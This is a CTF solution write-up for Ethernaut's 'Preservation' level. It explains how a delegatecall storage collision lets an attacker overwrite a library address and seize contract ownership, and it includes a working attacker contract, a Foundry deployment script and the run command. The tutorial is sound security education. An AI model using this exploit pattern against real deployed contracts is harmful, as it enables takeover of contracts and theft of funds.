The Ethernaut CTF Solutions | 16 - Preservation

The Ethernaut CTF Solutions | 16 - Preservation

Ownership Takeover: Leveraging Delegatecall and Storage Collision in Smart Contracts

ยท

3 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(
        address _timeZone1LibraryAddress,
        address _timeZone2LibraryAddress
    ) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint _timeStamp) public {
        timeZone1Library.delegatecall(
            abi.encodePacked(setTimeSignature, _timeStamp)
        );
    }

    // set the time for timezone 2
    function setSecondTime(uint _timeStamp) public {
        timeZone2Library.delegatecall(
            abi.encodePacked(setTimeSignature, _timeStamp)
        );
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint storedTime;

    function setTime(uint _time) public {
        storedTime = _time;
    }
}

The hack

Here, we have to become the new contract owner. Ensure you completed the level 6 - Delegation before this one, so you understand how delegatecall works.

After a quick first look, we can see that no function allows us to override the owner variable directly. However, we know that a delegatecall executes the code of the called contract (LibraryContract), but with the storage of the calling contract (Preservation). And since their storage doesn't match, we will be able to override some data and take ownership eventually. But, how?

Let's say we call the setFirstTime function with a uint, it will call the setTime function of the LibraryContract with the same uint via the delegatecall. The setTime function will set the storedTime variable to the uint at storage slot 0. But since the delegatecall is using the Preservation contract storage, it will override the timeZone1Library variable instead.

Let's visualize this in a table to make it clearer:

Storage slotPreservationLibraryContractMalicious Contract
0timeZone1LibrarystoredTimetimeZone1Library
1timeZone2LibrarytimeZone2Library
2ownerowner
3storedTimestoredTime

Storage collision happening at slot 0. A simple unit test would have easily revealed this!

Since we can override the timeZone1Library variable, we could override it with a malicious contract address containing our own version of the setTime function. So we can call the setFirstTime once with our malicious contract address to override the library address, then once more to delegate the call to our malicious contract and override the owner variable to our address.

Solution

Here is our malicious contract with a custom setTime() function, and... a storage identical to the Preservation contract to avoid any collision.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Disappearance {
    address public timeZone1Library;
    address public preservation;
    address public owner;

    constructor(address _preservation) {
        preservation = _preservation;
    }

    function attack() public {
        preservation.setFirstTime(uint256(uint160(address(this))));
        preservation.setFirstTime(uint256(uint160(msg.sender)));
        require(preservation.owner() == msg.sender, "Hack failed!");
    }

    function setTime(uint _time) public {
        owner = msg.sender;
    }
}

Next, let's prepare our deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Disappearance} from "../src/16_Preservation.sol";

interface IPreservation {
    function owner() external view returns (address);
}

contract PoC is Script {
    // Replace with your Preservation instance
    address private immutable preservation =
        0x8588D155A211844d8dA27b09EAf89C657Cd3c496; 

    function run() external payable {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        console2.log("Current owner: ", IPreservation(preservation).owner());

        Disappearance disappearance = new Disappearance(preservation);
        disappearance.attack();

        console2.log("New owner: ", IPreservation(preservation).owner());

        vm.stopBroadcast();
    }
}

Then run the script with the following command:

forge script script/16_Preservation.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Libraries should be stateless & use the library keyword.

  • Avoid using delegatecall with user inputs. Or simply avoid using delegatecall at all.


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย